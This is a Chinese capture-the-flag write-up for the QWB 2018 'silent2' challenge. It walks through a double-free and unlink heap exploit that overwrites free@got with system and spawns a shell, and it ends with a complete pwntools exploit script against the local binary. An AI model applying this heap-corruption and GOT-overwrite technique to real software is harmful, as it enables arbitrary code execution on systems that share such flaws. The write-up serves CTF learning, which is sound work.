强网杯2018 silent2 writeup

前置知识

double free

分析

checksec

1
2
3
4
5
6
7
parallels@ubuntu:~$ checksec '/home/parallels/ctf/qiang/silent2/silent2' 
[*] '/home/parallels/ctf/qiang/silent2/silent2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序分析

看了一下左边的所有函数,一个用来输出的都没有,不过有system

main函数

add函数


delete函数

edit函数

利用

利用思路

Partial RELRO,直接改写GOT段,把free@got的地址改写为system,当调用free的时候,就可以执行system函数了。
在unlink的时候,有一处覆写可以利用,然后在地址0x6020c0开始处保存了堆的指针,如果该处堆的指针可以被改写,即在这里改写为free@got的地址。
那么在以后edit函数调用了,就可以改写指针对应地址的数据了,即改写free@got为system。

堆构造

首先创建两个堆,并free掉。

1
2
3
4
5
6
7
8
create(0x100,'DDDD') #4
sleep(0.5)
create(0x100,'EEEE') #5
sleep(0.5)
delete(3)
sleep(0.5)
delete(4)
sleep(0.5)

然后再创建一个大小为0x210的堆,就会再次malloc出我们之前free的空间,并在这里面伪造两个chunk。
第一个chunk用来绕过unlink的检查条件,第二个chunk,嗯……也是用来绕过unlink的检查条件,并且在free的时候触发unlink。

1
2
payload = p64(0)+p64(0x101)+p64(p_addr‐0x18)+p64(p_addr‐0x10)+'A'*(0x100‐0x20)+p64(0x100)+p64(0x210‐0x100)
create(0x210,payload)

结果如图:

注意这里p_addr是0x6020D8,也就是说它就指向我们fake的chunk1。

然后再次delete index 4,这里就是double free,就触发了unlink,通过fake两个chunk,让我们通过Unlink的检查。

1
2
delete(4) # double free
sleep(0.5)

unlink检查通过之后就是设置

1
2
P->fd->bk = P->bk.
P->bk->fd = P->fd.

P就是fake_chunk1,可以看出fake_chunk1->fd->bk和fake_chunk1->bk->fd都指向fake_chunk1,所以只需要关注第二次操作即可。
P->fd即fake_chunk1->fd=p_addr-0x18,即0x6020C0。
所以unlink之后,P->bk->fd变为即0x6020C0。
如图:

这样,我们编辑index 3就是在修改index 0处堆的指针,将这个值改为free_got_plt。

1
2
modify(3,p64(free_got_plt)[0:4],'1111')
sleep(0.5)

然后再编辑index 0,因为此时这里的堆的指针已经是指向free_got_plt的了,所以此时再编辑index 0,就是在修改free_got_plt的值。
修改为call system的地址。

1
2
modify(0,p64(func_addr)[0:6],'2222')
sleep(0.5)

最后我们创建一个chunk,写入/bin/sh,并free掉,此时free调用的是system函数,getshell。

1
2
3
4
create(0x100,'/bin/sh\x00')
sleep(0.5)
delete(6)
sleep(0.5)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

# context.log_level = 'DEBUG'

p = process('./silent2')


def create(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)


def modify(idx, content1, content2):
p.sendline('3')
p.sendline(str(idx))
p.send(content1)
p.send(content2)


def delete(idx):
p.sendline('2')
p.sendline(str(idx))


p.recvuntil('sakura1328\n') # 自己创建的banner.txt文件的内容

func_addr = 0x4009C0
free_got_plt = 0x602018
p_addr = 0x6020D8

create(0x100, 'AAAA')
sleep(0.5)
create(0x100, 'BBBB')
sleep(0.5)
create(0x100, 'CCCC')
sleep(0.5)
create(0x100, 'DDDD')
sleep(0.5)
create(0x100, 'EEEEE')
sleep(0.5)
delete(3)
sleep(0.5)
delete(4)
sleep(0.5)
payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(
0x210 - 0x100) # 构造两个chunk,绕过unlink的检查
create(0x210, payload)
sleep(0.5)
delete(4) # double free
sleep(0.5)
modify(3, p64(free_got_plt)[0:4], '1111')
sleep(0.5)
modify(0, p64(func_addr)[0:6], '2222')
sleep(0.5)
create(0x100, '/bin/sh\x00')
sleep(0.5)
delete(6)
sleep(0.5)

p.interactive()

调试中遇到的问题

gdb attach太早,结果调试cat进程去了。
gdb里设置跟随父进程,就可以断下来了。
set follow-fork-mode parent

其他

wp是根据po师傅的exp写的QVQ,还有Reshahar师傅教我为什么断不下来……感谢。

题目链接我的i64文件